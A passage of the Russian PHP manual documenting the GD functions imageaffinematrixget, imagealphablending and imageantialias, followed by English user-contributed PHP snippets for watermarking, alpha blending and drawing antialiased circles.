    [4] => 8
    [5] => 15
)

Смотрите также

  • imageaffine() - Вернуть изображение, содержащее аффинно-преобразованное изображение src, используя дополнительную область ограничения
  • imageaffinematrixget() - Получает матрицу аффинного преобразования

User Contributed Notes

There are no user contributed notes for this page.


Получает матрицу аффинного преобразования

  • « imageaffinematrixconcat
  • imagealphablending »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Получает матрицу аффинного преобразования

imageaffinematrixget

(PHP 5 >= 5.5.0, PHP 7, PHP 8)

imageaffinematrixget — Получает матрицу аффинного преобразования

Описание

imageaffinematrixget(int $type, array|float $options): array|false

Возвращает матрицу аффинного преобразования.

Список параметров

type

Одна из констант IMG_AFFINE_*.

options

Если type равен IMG_AFFINE_TRANSLATE или IMG_AFFINE_SCALE, options должен быть массивом (array) с ключами x и y, оба имеют значения типа float.

Если type равен IMG_AFFINE_ROTATE, IMG_AFFINE_SHEAR_HORIZONTAL или IMG_AFFINE_SHEAR_VERTICAL, options должен быть числом с плавающей точкой (float), определяющим угол.

Возвращаемые значения

Матрица аффинного преобразования (массив с ключами от 0 до 5 и значениями с плавающей точкой) или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования imageaffinematrixget()

<?php
$matrix = imageaffinematrixget(IMG_AFFINE_TRANSLATE, array('x' => 2, 'y' => 3));
print_r($matrix);
?>

Результат выполнения данного примера:

Array
(
    [0] => 1
    [1] => 0
    [2] => 0
    [3] => 1
    [4] => 2
    [5] => 3
)

Смотрите также

  • imageaffine() - Вернуть изображение, содержащее аффинно-преобразованное изображение src, используя дополнительную область ограничения
  • imageaffinematrixconcat() - Конкатенирует две аффинные матрицы преобразования

User Contributed Notes

There are no user contributed notes for this page.


Задание режима сопряжения цветов для изображения

  • « imageaffinematrixget
  • imageantialias »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Задание режима сопряжения цветов для изображения

imagealphablending

(PHP 4 >= 4.0.6, PHP 5, PHP 7, PHP 8)

imagealphablending — Задание режима сопряжения цветов для изображения

Описание

imagealphablending(GdImage $image, bool $enable): bool

imagealphablending() позволяет использовать режим сопряжения цветов для truecolor-изображений при рисовании. В режиме сопряжения альфа компонент цвета, который передаётся всем функциям рисования, вроде imagesetpixel(), определяет то, насколько сильно цвет нижележащего слоя будет просачиваться через накладываемое изображение. В результате, gd автоматически сопрягает существующий цвет в каждой точке с цветом рисуемого поверх изображения и сохраняет результат сопряжения в изображении. Пикселы, подвергшиеся сопряжению, не обладают свойством прозрачности. В режиме без сопряжения цвет рисуемого поверх изображения пиксела буквально копируется вместе со своим альфа компонентом, заменяя пиксел в исходном изображении. Режим сопряжения недоступен при рисовании на палитровых изображениях.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

enable

Включить режим сопряжения или нет. Включён (true) по умолчанию для truecolor-изображений, для всех остальных по умолчанию выключен (false).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).

Примеры

Пример #1 Пример использования imagealphablending()

<?php
// Создание изображения
$im = imagecreatetruecolor(100, 100);

// Включение режима сопряжения цветов
imagealphablending($im, true);

// Рисуем прямоугольник
imagefilledrectangle($im, 30, 30, 70, 70, imagecolorallocate($im, 255, 0, 0));

// Вывод
header('Content-Type: image/png');

imagepng($im);
imagedestroy($im);
?>

User Contributed Notes

klaproth at creative-mindworks dot de 18-May-2008 10:57
I have written a function that takes an image as parameter and returns the same image with a reflection effect (often seen in WEB 2.0 sites). I have not performance-tested this with large image files, for thumbnails it works fine (requires PHP 4.3.2 or above, or PHP5).

<?php
function imagereflection($src_img) {
  $src_height = imagesy($src_img);
  $src_width = imagesx($src_img);
  $dest_height = $src_height + ($src_height / 2);
  $dest_width = $src_width;

  $reflected = imagecreatetruecolor($dest_width, $dest_height);
  imagealphablending($reflected, false);
  imagesavealpha($reflected, true);

  imagecopy($reflected, $src_img, 0, 0, 0, 0, $src_width, $src_height);
  $reflection_height = $src_height / 2;
  $alpha_step = 80 / $reflection_height;
  for ($y = 1; $y <= $reflection_height; $y++) {
    for ($x = 0; $x < $dest_width; $x++) {
      // copy pixel from x / $src_height - y to x / $src_height + y
      $rgba = imagecolorat($src_img, $x, $src_height - $y);
      $alpha = ($rgba & 0x7F000000) >> 24;
      $alpha =  max($alpha, 47 + ($y * $alpha_step));
      $rgba = imagecolorsforindex($src_img, $rgba);
      $rgba = imagecolorallocatealpha($reflected, $rgba['red'], $rgba['green'], $rgba['blue'], $alpha);
      imagesetpixel($reflected, $x, $src_height + $y - 1, $rgba);
    }
  }

  return $reflected;
}
?>

This is rather hot-coded. You could go on and extract some of the values as parameters (80 is the transparency start value, $height / 2 is the reflection area...).

Cheers,
Christian
jeppe dot dyrby at gmail dot com 14-Aug-2007 07:34
I have create a little function for putting a watermark on any picture.
Watermark can be png, with transparency, and the watermark can be placed anywhere on the image, using simple strings such as 'bottom-left', or 'center'.

<?
function imagelogo (&$dst_image, $src_image, $dst_w, $dst_h, $src_w, $src_h, $position='bottom-left') {
    imagealphablending($dst_image,true);
    imagealphablending($src_image,true);
    if ($position == 'random') {
        $position = rand(1,8);
    }
    switch ($position) {
        case 'top-right':
        case 'right-top':
        case 1:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), 0, 0, 0, $src_w, $src_h);
        break;
        case 'top-left':
        case 'left-top':
        case 2:
            imagecopy($dst_image, $src_image, 0, 0, 0, 0, $src_w, $src_h);
        break;
        case 'bottom-right':
        case 'right-bottom':
        case 3:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'bottom-left':
        case 'left-bottom':
        case 4:
            imagecopy($dst_image, $src_image, 0 , ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'center':
        case 5:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
        case 'top':
        case 6:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), 0, 0, 0, $src_w, $src_h);
        break;
        case 'bottom':
        case 7:
            imagecopy($dst_image, $src_image, (($dst_w/2)-($src_w/2)), ($dst_h-$src_h), 0, 0, $src_w, $src_h);
        break;
        case 'left':
        case 8:
            imagecopy($dst_image, $src_image, 0, (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
        case 'right':
        case 9:
            imagecopy($dst_image, $src_image, ($dst_w-$src_w), (($dst_h/2)-($src_h/2)), 0, 0, $src_w, $src_h);
        break;
    }
}

// example:

imagelogo($image, $watermark, imagesx($image), imagesy($image), imagesx($watermark), imagesy($watermark), 'random');
?>
JAYPEEsorenATgeeMail 14-Dec-2006 01:52
I rewrote the code given below to skip calculations and pixel setting when not needed (full opaque or full transparent pixels), as the content of my overlays is generally mostly transparent. Reduced processing time from ~0.17s to ~0.06s on 216x145px images.

function alphaOverlay($destImg, $overlayImg, $imgW, $imgH)
{
    for($y=0;$y<$imgH;$y++)
    {
        for($x=0;$x<$imgW;$x++)
        {
            $ovrARGB = imagecolorat($overlayImg, $x, $y);
            $ovrA = ($ovrARGB >> 24) << 1;
            $ovrR = $ovrARGB >> 16 & 0xFF;
            $ovrG = $ovrARGB >> 8 & 0xFF;
            $ovrB = $ovrARGB & 0xFF;

            $change = false;
            if($ovrA == 0)
            {
                $dstR = $ovrR;
                $dstG = $ovrG;
                $dstB = $ovrB;
                $change = true;
            }
            elseif($ovrA < 254)
            {
                $dstARGB = imagecolorat($destImg, $x, $y);
                $dstR = $dstARGB >> 16 & 0xFF;
                $dstG = $dstARGB >> 8 & 0xFF;
                $dstB = $dstARGB & 0xFF;

                $dstR = (($ovrR * (0xFF-$ovrA)) >> 8) + (($dstR * $ovrA) >> 8);
                $dstG = (($ovrG * (0xFF-$ovrA)) >> 8) + (($dstG * $ovrA) >> 8);
                $dstB = (($ovrB * (0xFF-$ovrA)) >> 8) + (($dstB * $ovrA) >> 8);
                $change = true;
            }
            if($change)
            {
                $dstRGB = imagecolorallocatealpha($destImg, $dstR, $dstG, $dstB, 0);
                imagesetpixel($destImg, $x, $y, $dstRGB);
            }

        }
    }
    return $destImg;
}
roONLYycoLOWERCAneSEjo at gmail dot com 21-Nov-2006 10:35
Roy Conejo says:

I' had to "per-pixel alpha blend" an image into a solid background, as seen on the very concise example from "barnabas at kendall dot NOSPAM dot net": an alpha blended .png logo on a .jpg photograph. The problem was... it doesn't worked out at all here (why? T_T).

Note that I'm using just the source alpha to determine how much colour from source and destination will be present on the final pixel... and that I've to multiply the alpha value (0 - 127) by 2 because I need it to be 8 bits for the calculations.

I think the code is pretty fast, no decimals, no rounding, no unnecesary coding. Bound checking or clipping could be implemented if you really need to.

I hope it helps someone on my same situation ^.^

<?php

    ## BEGIN of function alpha_blending -------------------------------------------
    function
    alpha_blending ($dest, $source, $dest_x, $dest_y) {

        ## lets blend source pixels with source alpha into destination =)
        for ($y = 0; $y < imagesy($source); $y++) {
            for ($x = 0; $x < imagesx($source); $x++) {

                $argb_s = imagecolorat ($source    ,$x            ,$y);
                $argb_d = imagecolorat ($dest    ,$x+$dest_x    ,$y+$dest_y);

                $a_s    = ($argb_s >> 24) << 1; ## 7 to 8 bits.
                $r_s    =  $argb_s >> 16     & 0xFF;
                $g_s    =  $argb_s >>  8    & 0xFF;
                $b_s    =  $argb_s            & 0xFF;

                $r_d    =  $argb_d >> 16    & 0xFF;
                $g_d    =  $argb_d >>  8    & 0xFF;
                $b_d    =  $argb_d            & 0xFF;

                ## source pixel 100% opaque (alpha == 0)
                if ($a_s == 0) {
                    $r_d = $r_s; $g_d = $g_s; $b_d = $b_s;
                }
                ## source pixel 100% transparent (alpha == 255)
                else if ($a_s > 253) {
                ## using source alpha only, we have to mix (100-"some") percent
                ## of source with "some" percent of destination.
                } else {
                    $r_d = (($r_s * (0xFF-$a_s)) >> 8) + (($r_d * $a_s) >> 8);
                    $g_d = (($g_s * (0xFF-$a_s)) >> 8) + (($g_d * $a_s) >> 8);
                    $b_d = (($b_s * (0xFF-$a_s)) >> 8) + (($b_d * $a_s) >> 8);
                }

                $rgb_d = imagecolorallocatealpha ($dest, $r_d, $g_d, $b_d, 0);
                imagesetpixel ($dest, $x, $y, $rgb_d);
            }
        }
    }
    ## END of function alpha_blending -------------------------------------------

    ## let's start loading images as usual...
    $source = imagecreatefrompng ('logo.png');
    $dest    = imagecreatefromjpg ('photo.jpg');

    ## alpha blend $source into $dest starting at 10, 5.
    alpha_blending ($dest, $source, 10, 5);

    ## here you'll have to save "$dest" or send it to the browser...
    ##

    imagedestroy ($source);
    imagedestroy ($dest);

?>

eof =p
Raisul Kabir Ruman 01-Sep-2006 05:45
In the previous message, I found it is working perfect. But, it can be done a lot easily, as is described by the first message by "barnabas at kendall dot NOSPAM dot net". Though, it don't work totally, instead of using imageAlphaBlending, you have to use imageSaveAlpha

So, I found the corrected and smalled code would be

<?php
$im_a = @imagecreatefrompng("a.png");
$im_c = @imagecreatefrompng("c.png");
imageSaveAlpha($im_c, true);

imagecopy($im_c,$im_a,0,0,0,0,200,200);
header("Content-type: image/png");
imagepng($im_c);
?>
luke dot stanley at gmail dot com 21-Aug-2006 01:30
"If imagealphablending os set to true and you want to merge two images, you are left with no transparency. If it is set to false, only the transparency of the second image is respected, causing no parts of the first image to be shown. To solve this use the following function:"

dscharrer at gmail dot com offered this without a use example, so here is one:

<?

$flag = imagecreatefrompng('a.png');
$mask = imagecreatefrompng('b.png');

imagealphablending($flag, 1);
imagealphablending($mask, 1);
$i= array($flag, $mask); // here is the array of images, using the above specified $flag and $mask images

$s = imagemergealpha($i);

header("Content-type: image/png");
imagepng($s);

//Merge multiple images and keep transparency

//$i is and array of the images to be merged:
// $i[1] will be overlayed over $i[0]
// $i[2] will be overlayed over that
// ...

//the function returns the resulting image ready for saving

function imagemergealpha($i) {

 //create a new image
 $s = imagecreatetruecolor(imagesx($i[0]),imagesy($i[1]));

 //merge all images
 imagealphablending($s,true);
 $z = $i;
 while($d = each($z)) {
  imagecopy($s,$d[1],0,0,0,0,imagesx($d[1]),imagesy($d[1]));
 }

 //restore the transparency
 imagealphablending($s,false);
 $w = imagesx($s);
 $h = imagesy($s);
 for($x=0;$x<$w;$x++) {
  for($y=0;$y<$h;$y++) {
   $c = imagecolorat($s,$x,$y);
   $c = imagecolorsforindex($s,$c);
   $z = $i;
   $t = 0;
   while($d = each($z)) {
   $ta = imagecolorat($d[1],$x,$y);
   $ta = imagecolorsforindex($d[1],$ta);
   $t += 127-$ta['alpha'];
   }
   $t = ($t > 127) ? 127 : $t;
   $t = 127-$t;
   $c = imagecolorallocatealpha($s,$c['red'],$c['green'],$c['blue'],$t);
   imagesetpixel($s,$x,$y,$c);
  }
 }
 imagesavealpha($s,true);
 return $s;
}

?>
Jakub Argasi?ski 05-Jun-2005 11:53
I have been looking around for a while to find a script which does the following: generates image with text using specified font with given color, but with totally transparent background (by alpha-channnel, not via color transparency). Finally, I have created the script by myself. It's just a rough idea how to do it.

<?php
$tekst = "This is a test message\nza???? g??l? ja??!\nZA??? G?L? JA???";

$h = 9;

$size = imageTTFBBox($h, 0, "arial.ttf", $tekst);
$image = imageCreateTrueColor(abs($size[2]) + abs($size[0]), abs($size[7]) + abs($size[1]));
imageSaveAlpha($image, true);
ImageAlphaBlending($image, false);

$tlo = imagecolorallocatealpha($image, 220, 220, 220, 127);
imagefill($image, 0, 0, $tlo);

$napis = imagecolorallocate($image, 220, 220, 220);
imagettftext($image, $h, 0, 0, abs($size[5]), $napis, "arial.ttf", $tekst);
imagepng($image, "output.png");
imagedestroy($image);

?>
<html>
<head>
</head>
<body bgcolor="#808080">
<img src="output.png" alt="">
</body>
</html>
webmaster at nweurosport dot com 17-Feb-2005 01:00
When saving images for use in transparent overlays like the logo addition mentioned above I've found that it is not succesful with PNG-24, only GIF and PNG-8.  I've had great success with PNG-8's.
dscharrer at gmail dot com 23-Dec-2004 02:32
If imagealphablending os set to true and you want to merge two images, you are left with no transparency. If it is set to false, only the transparency of the second image is respected, causing no parts of the first image to be shown. To solve this use the following function:

<?
//Merge multiple images and keep transparency

//$i is and array of the images to be merged:
// $i[1] will be overlayed over $i[0]
// $i[2] will be overlayed over that
// ...

//the function returns the resulting image ready for saving

function imagemergealpha($i) {

 //create a new image
 $s = imagecreatetruecolor(imagesx($i[0]),imagesy($i[1]));

 //merge all images
 imagealphablending($s,true);
 $z = $i;
 while($d = each($z)) {
  imagecopy($s,$d[1],0,0,0,0,imagesx($d[1]),imagesy($d[1]));
 }

 //restore the transparency
 imagealphablending($s,false);
 $w = imagesx($s);
 $h = imagesy($s);
 for($x=0;$x<$w;$x++) {
  for($y=0;$y<$h;$y++) {
   $c = imagecolorat($s,$x,$y);
   $c = imagecolorsforindex($s,$c);
   $z = $i;
   $t = 0;
   while($d = each($z)) {
    $ta = imagecolorat($d[1],$x,$y);
    $ta = imagecolorsforindex($d[1],$ta);
    $t += 127-$ta['alpha'];
   }
   $t = ($t > 127) ? 127 : $t;
   $t = 127-$t;
   $c = imagecolorallocatealpha($s,$c['red'],$c['green'],$c['blue'],$t);
   imagesetpixel($s,$x,$y,$c);
  }
 }
 imagesavealpha($s,true);
 return $s;
}
?>
joe AT cerberon DOT net 01-Mar-2004 05:02
Note that alpha blending must be enabled to render antialiased text in true color mode.

For OLDER versions of PHP and/or GD (e.g. which comes with Debian woody) alpha blending is DISABLED by default and it is ENABLED for NEWER versions.
www.deebster.com 17-Nov-2003 03:12
Your target image resource not must be paletted if you want to use blending.

This means using ImageCreateTrueColor() rather than ImageCreate().

(If your source is e.g. a jpeg and you've used ImageCreateFromJPEG(), the above is irrelevant.)
boo at php dot net 30-Jun-2003 02:18
Notice that AlphaBlending is ON by default.
So, only use this function if you don't want to use AlphaBlending.
tcarter at roundcorners dot com 13-Feb-2002 07:55
If you are saving an image as PNG with transparency then saving it as a PNG-8 will give it transparency in the same way GIF has, but that won't work with this function.

For this function to work the image needs to have an alpha channel (obviously really when you think about it), so make sure you save as PNG-24
barnabas at kendall dot NOSPAM dot net 11-Oct-2001 05:56
If you are trying to copy a transparant image on to another image, you might assume that you should apply the ImageAlphaBlending function to the image that has the transparancy, the source image. In reality, you must apply the ImageAlphaBlending function to the destination image. Basically it's saying, "make the specified image respect transparancy".

Here's a real world example. Suppose you want to put your logo on the upper left corner of a photograph. Your logo is a PNG with transparancy, and the photo is a JPEG. Here's what you would do:

<?php
$photoImage = ImageCreateFromJPEG('photo.jpg');
ImageAlphaBlending($photoImage, true);

$logoImage = ImageCreateFromPNG('logo.png');
$logoW = ImageSX($logoImage);
$logoH = ImageSY($logoImage);

ImageCopy($photoImage, $logoImage, 0, 0, 0, 0, $logoW, $logoH);

ImageJPEG($photoImage); // output to browser

ImageDestroy($photoImage);
ImageDestroy($logoImage);
?>


Требуется ли применять функции сглаживания или нет

  • « imagealphablending
  • imagearc »
  • PHP Manual
  • Функции GD и функции для работы с изображениями
  • Требуется ли применять функции сглаживания или нет

imageantialias

(PHP 4 >= 4.3.2, PHP 5, PHP 7, PHP 8)

imageantialias — Требуется ли применять функции сглаживания или нет

Описание

imageantialias(GdImage $image, bool $enable): bool

Задействует механизмы сглаживания при рисовании линий и замкнутых многоугольников. Не поддерживает альфа компоненты. Использует операции прямого смешивания цветов. Работает только с truecolor-изображениями.

Стили и толщина не поддерживаются.

Использование сглаженных примитивов совместно с прозрачным фоном может дать неожиданный результат. Метод смешивания использует цвет фона наравне с любым другим цветом. Отсутствие поддержки альфа компонента не позволяет применять основанный на нем метод сглаживания.

Список параметров

image

Объект GdImage, возвращаемый одной из функций создания изображений, например, такой как imagecreatetruecolor().

enable

Включить сглаживание или нет.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.0.0 | image теперь ожидает экземпляр GdImage; ранее ожидался корректный gd ресурс (resource).
7.2.0 | Функция imageantialias() доступна без ограничений. Ранее она была доступна, только если PHP был собран с использованием библиотеки GD, идущей с ним в комплекте.

Примеры

Пример #1 Сравнение двух линий, одна из которых рисуется с включённым сглаживанием

<?php
// Создание двух изображений
$aa = imagecreatetruecolor(400, 100);
$normal = imagecreatetruecolor(200, 100);

// Включение сглаживания для одного из них
imageantialias($aa, true);

// Задание цветов
$red = imagecolorallocate($normal, 255, 0, 0);
$red_aa = imagecolorallocate($aa, 255, 0, 0);

// Рисование линий
imageline($normal, 0, 0, 200, 100, $red);
imageline($aa, 0, 0, 200, 100, $red_aa);

// Размещение изображений рядом для сравнения (АА: слева, Обычное: справа)
imagecopymerge($aa, $normal, 200, 0, 0, 0, 200, 100, 100);

// Вывод результата
header('Content-type: image/png');

imagepng($aa);
imagedestroy($aa);
imagedestroy($normal);
?>

Результатом выполнения данного примера будет что-то подобное:

Вывод примера: Сравнение двух линий, одна из которых рисуется с включённым сглаживанием

Смотрите также

  • imagecreatetruecolor() - Создание нового полноцветного изображения

User Contributed Notes

verdy_p at wanadoo dot fr 04-Jan-2010 01:27
There's a minor edit bug in those lines in the fast algorithm ("20 times faster"):

            imageLine( $img, $cx + $ix, $cy + $iy - 1, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $ix, $cy - $iy + 1, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $ix, $cy + $iy - 1, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $ix, $cy - $iy + 1, $cx - $ix, $cy - $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy + $ix, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy - $ix, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy + $ix, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy - $ix, $cx - $ix, $cy - $ix, $fill );

the reference to "$ix" in the parameters of each call (just before the ", $fill " parameter) should be sometimes "$iy".

This algorithm uses the Bresenham midpoint algorithm for circles, but computing successive pixels positions ($ix, $iy) incrementally in the first octant, relative to the circle center ($cx, $cy), then applying the 8 symetries by swapping them or changing signs.

A similar algorithm exists for ellipses: it uses quadrants symetries instead of octants when the ellipse focal axis is aligned or orthogonal to the two image axis, be subdividing each quadrant in two regions (deminited by the point on the arc where the tangent has a unitary slope).

For general ellipses (rotated arbitrarily in the plane), there are also 4 quadrants symetries, but they are a bit more complex to compute, as you need to compute the rotations, for this reason you'll only be able to use 2 symetries, but the incremental algorithm still exists: you may think that this would be based on the evaluation of the sum of lengths from the two focal points, which is contant; however the sum of two distance cannot be squared so easily (you would need to compute the square of both distances, then take their respective square root before adding them and testing the difference with the exact length. A cleaner solution uses NURBS (Non-Uniform Rational B-splines) because they are numerically stable and still very fast to compute (you only need some floatting point for the knot constants that separate each quadrant, which is then computed using a simple quadratic parametric equation of the ellipse instead of the implicit equation, given that the quadratic (polynomial) equation has first and scond derivatives that are easy to bound in order to get the needed precision and reduce the number of unnecessary pixel plots : such the parametric eqaution will draw points along the arc with a movement speed varying between 1 and 4 subpixel distance per incremental step, but in fact only between 1 and 2 subpixels when you subdivide the quadrant in two regions).

Alternatively, you may also draw an antialised "straight" ellipse with a double resolution, and then rotate the antiliased image while also rescale it at half size, and at the same time combining it to the target: depending on implementations (and computing language used), it may be faster (but it may require more memory for the intermediate image at scale 2)...
dsl101 31-Jul-2009 08:48
Having tried long and hard to get a decent antialiased circle function, I finally gave in a wrote something from scratch. Its very very naive - basically examining every single pixel in the enclosing square, but as a result produces very nice antialiasing, with decent control over stroke width, antialiasing amount and tightness of antialiasing. I'm sure it could be optimised considerably, but it was fast enough for what I was doing. Hope its of some use.

<?php

function imagecircleaa($img, $cx, $cy, $r, $w, $s, $t, $color) // image, centerX, centerY, radius, stroke width, aa width, tightness, color
{
    $adj = $w + $s;
    $sCol = imagecolorallocate($img, $color['r'], $color['g'], $color['b']);
    for($x = -$r - $adj; $x <= $r + $adj; $x++)
    {
        for($y = -$r - $adj; $y <= $r + $adj; $y++)
        {
            $d = sqrt($x * $x + $y * $y); // distance from pixel to center
            $err = abs($d - $r); // absolute distance from pixel to circle edge
            if($err <= $w / 2 + $s) // within the stroke width + smoothing radius
            {
                if($err <= $w / 2) // inside the stroke width so make it solid color
                {
                    $aaCol = $sCol;
                }
                else // in the antialisaing region so make it a blended color
                {
                    $err -= $w / 2; // adjust to the aliased part
                    $err = 1 - $err / $s; // adjust to between 0 and 1
                    $err = ($err - 0.5) * $t * 2; // adjust to -$t to +$t for tightness
                    $err = ($err / sqrt(1 + $err * $err) + 1) / 2; // sigmoid curve to smooth edges
                    $rgb = imagecolorat($img, $x + $cx, $y + $cy); // Get current background color
                    $rB = ($rgb >> 16) & 0xFF;
                    $gB = ($rgb >> 8) & 0xFF;
                    $bB = $rgb & 0xFF;
                    $rDelta = ($rB - $color['r']); // change in Red from background
                    $rComp = $rB - $rDelta * $err; // mix Red
                    $gDelta = ($gB - $color['g']); // change in Red from background
                    $gComp = $gB - $gDelta * $err; // mix Red
                    $bDelta = ($bB - $color['b']); // change in Red from background
                    $bComp = $bB - $bDelta * $err; // mix Red
                    $aaCol = imagecolorallocate($img, $rComp, $gComp, $bComp);
                }
                imagesetpixel($img, $x + $cx, $y + $cy, $aaCol);
            }
        }
    }
}

$img = imagecreatetruecolor(500,500);

$cBlack = imagecolorallocate($img, 0, 0, 0);
$cGrey = imagecolorallocate($img, 120, 120, 120);
$cWhite = imagecolorallocate($img, 255, 255, 255);

imagefill($img, 0, 0, $cWhite);
imagepolygon($img, array(0, 0,200, 0, 200, 200, 0, 200), 4, cBlack);

$aWhite = array('r'=>255, 'g'=>255, 'b'=>255);
$aBlack = array('r'=>0, 'g'=>0, 'b'=>0);
$aRed = array('r'=>200, 'g'=>0, 'b'=>0);
$aGreen = array('r'=>0, 'g'=>200, 'b'=>0);
$aBlue = array('r'=>0, 'g'=>0, 'b'=>255);

// standard ellipse function for comparison
imageellipse($img, 100, 100, 50, 50, $cBlack);

// compare different tightnesses - good values are between 2 and 8
// note overall width is stroke width + 2 * aa width (e.g. 12 pixels below)
imagecircleaa($img, 50, 50, 25, 2, 5, 2, $aBlue);
imagecircleaa($img, 50, 150, 25, 2, 5, 8, $aBlue);

// different coloured background to show blending
imagefilledrectangle($img, 150,150, 200, 200, $cGrey);
imagecircleaa($img, 150, 150, 25, 3, 2, 2, $aRed);

// overlapping circles still aa nicely, although the colour blending algorithm produces quite dark intermediate shades
imagecircleaa($img, 150, 60, 25, 2, 3, 2, $aBlue);
imagecircleaa($img, 150, 50, 25, 2, 3, 2, $aGreen);

header("Content-type: image/png");
imagepng($img);
imagedestroy($img);
?>
padigan 06-Feb-2007 03:13
If you can't be bothered creating (or searching for) a full screen antialias function.
You can actually cheat (well a bit of a dirty inefficient hack really!!)
and perform a fake antialias on an image by using 'imagecopyresampled'...

first create your source image twice the size of what you really want.

Then use 'imagecopyresampled' to shrink it to half the size, the function
automatically interpolates pixels to create an antialias effect!

I've used this in a pie chart function and it works brilliantly,
not as slow as I thought it might be!

the rough code below should give you the idea...

<?php
$realWidth = 500;
$realHeight = 500;
$srcWidth = $realWidth * 2;
$srcHeight = $realHeight * 2;

// create the larger source image
$srcImage = imagecreatetruecolor($srcWidth,$srcHeight);

// create the real/final image
$destImage = imagecreatetruecolor($realWidth,$realHeight);

// now do whatever you want to draw in the source image
// blah....

// now the picture is finished, do the shrink...
imagecopyresampled($destImage,$srcImage,0,0,0,0,
$realWidth,$realHeight,$srcWidth,$srcHeight);

// now just do whatever you want with '$destImage' (e.g. display or output to file!)
?>
n-dream at gmx dot ch 18-Feb-2006 10:18
The following function draws an AntiAliased (unfilled) Ellipse.
It is used just liked the nomral ImageEllipse function.
The optional parameter sets the number of segments...

function ImageEllipseAA( &$img, $x, $y, $w, $h,$color,$segments=70)
{
    $w=$w/2;
    $h=$h/2;
    $jump=2*M_PI/$segments;
    $oldx=$x+sin(-$jump)*$w;
    $oldy=$y+cos(-$jump)*$h;
    for($i=0;$i<2*(M_PI);$i+=$jump)
    {
        $newx=$x+sin($i)*$w;
        $newy=$y+cos($i)*$h;
        ImageLine($img,$newx,$newy,$oldx,$oldy,$color);
        $oldx=$newx;
        $oldy=$newy;
    }
}
klaas at kosmokrator dot com 15-Feb-2006 05:22
Here is an optimized version of the optimized version of the antialiased circle function by sebbi: (more than 20 times faster)...

<?php

    function imageSmoothCircle( &$img, $cx, $cy, $cr, $color ) {
        $ir = $cr;
        $ix = 0;
        $iy = $ir;
        $ig = 2 * $ir - 3;
        $idgr = -6;
        $idgd = 4 * $ir - 10;
        $fill = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], 0 );
        imageLine( $img, $cx + $cr - 1, $cy, $cx, $cy, $fill );
        imageLine( $img, $cx - $cr + 1, $cy, $cx - 1, $cy, $fill );
        imageLine( $img, $cx, $cy + $cr - 1, $cx, $cy + 1, $fill );
        imageLine( $img, $cx, $cy - $cr + 1, $cx, $cy - 1, $fill );
        $draw = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], 42 );
        imageSetPixel( $img, $cx + $cr, $cy, $draw );
        imageSetPixel( $img, $cx - $cr, $cy, $draw );
        imageSetPixel( $img, $cx, $cy + $cr, $draw );
        imageSetPixel( $img, $cx, $cy - $cr, $draw );
        while ( $ix <= $iy - 2 ) {
            if ( $ig < 0 ) {
                $ig += $idgd;
                $idgd -= 8;
                $iy--;
            } else {
                $ig += $idgr;
                $idgd -= 4;
            }
            $idgr -= 4;
            $ix++;
            imageLine( $img, $cx + $ix, $cy + $iy - 1, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $ix, $cy - $iy + 1, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $ix, $cy + $iy - 1, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $ix, $cy - $iy + 1, $cx - $ix, $cy - $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy + $ix, $cx + $ix, $cy + $ix, $fill );
            imageLine( $img, $cx + $iy - 1, $cy - $ix, $cx + $ix, $cy - $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy + $ix, $cx - $ix, $cy + $ix, $fill );
            imageLine( $img, $cx - $iy + 1, $cy - $ix, $cx - $ix, $cy - $ix, $fill );
            $filled = 0;
            for ( $xx = $ix - 0.45; $xx < $ix + 0.5; $xx += 0.2 ) {
                for ( $yy = $iy - 0.45; $yy < $iy + 0.5; $yy += 0.2 ) {
                    if ( sqrt( pow( $xx, 2 ) + pow( $yy, 2 ) ) < $cr ) $filled += 4;
                }
            }
            $draw = imageColorExactAlpha( $img, $color[ 'R' ], $color[ 'G' ], $color[ 'B' ], ( 100 - $filled ) );
            imageSetPixel( $img, $cx + $ix, $cy + $iy, $draw );
            imageSetPixel( $img, $cx + $ix, $cy - $iy, $draw );
            imageSetPixel( $img, $cx - $ix, $cy + $iy, $draw );
            imageSetPixel( $img, $cx - $ix, $cy - $iy, $draw );
            imageSetPixel( $img, $cx + $iy, $cy + $ix, $draw );
            imageSetPixel( $img, $cx + $iy, $cy - $ix, $draw );
            imageSetPixel( $img, $cx - $iy, $cy + $ix, $draw );
            imageSetPixel( $img, $cx - $iy, $cy - $ix, $draw );
        }
    }

    $img = imageCreateTrueColor( 320, 240 );

    imageSmoothCircle( $img, 160, 120, 100, array( 'R' => 0xCC, 'G' => 0x33, 'B' => 0x00 ) );
